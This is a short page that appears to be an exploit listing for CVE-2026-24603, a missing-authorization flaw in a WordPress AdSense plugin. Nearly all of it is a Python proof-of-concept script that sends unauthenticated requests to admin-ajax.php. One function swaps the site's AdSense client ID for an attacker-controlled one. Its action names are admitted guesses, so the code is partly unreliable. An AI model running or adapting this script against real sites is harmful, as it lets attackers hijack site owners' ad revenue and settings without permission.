CVE-2026-24603 WordPress Universal Google Adsense插件缺失授权漏洞

import requests import sys # CVE-2026-24603 PoC - Missing Authorization in Universal Google Adsense Plugin # Target: WordPress site with vulnerable plugin <= 1.1.8 def check_vulnerability(target_url): """ Check if the target WordPress site is vulnerable to CVE-2026-24603 """ # WordPress AJAX endpoint ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Test unauthorized access to plugin settings # Replace 'your-action-name' with actual plugin AJAX actions vulnerable_actions = [ 'universal_google_adsense_save_settings', 'universal_google_adsense_update_ad_config', 'universal_google_adsense_modify_ads', 'uag_save_settings', 'uag_update_adsense_code' ] print(f"[*] Testing {target_url} for CVE-2026-24603...") for action in vulnerable_actions: try: # Send request without authentication data = { 'action': action, 'nonce': '', # No nonce needed if vulnerability exists 'settings': 'test_payload' } response = requests.post(ajax_url, data=data, timeout=10, verify=False) # Check if request was processed without authorization if response.status_code == 200 and 'success' in response.text.lower(): print(f"[!] Potential vulnerability found with action: {action}") print(f"[!] Response: {response.text[:200]}") return True except requests.RequestException as e: print(f"[-] Error testing {action}: {e}") print("[*] No obvious vulnerability detected") return False def exploit_settings_modification(target_url): """ Exploit to modify plugin settings without authorization """ ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Malicious payload to modify ad settings malicious_data = { 'action': 'universal_google_adsense_save_settings', 'adsense_client_id': 'attacker-controlled-id', 'adsense_slot_id': '1234567890', 'ad_format': 'auto', 'full_widthresponsive': 'true' } print(f"[*] Attempting to modify plugin settings...") try: response = requests.post(ajax_url, data=malicious_data, timeout=10, verify=False) if response.status_code == 200: print(f"[+] Request sent, check plugin settings manually") print(f"[+] Response: {response.text}") except requests.RequestException as e: print(f"[-] Exploit failed: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2026-24603-poc.py <target_url>") print("Example: python cve-2026-24603-poc.py http://example.com") sys.exit(1) target = sys.argv[1].rstrip('/') check_vulnerability(target) exploit_settings_modification(target)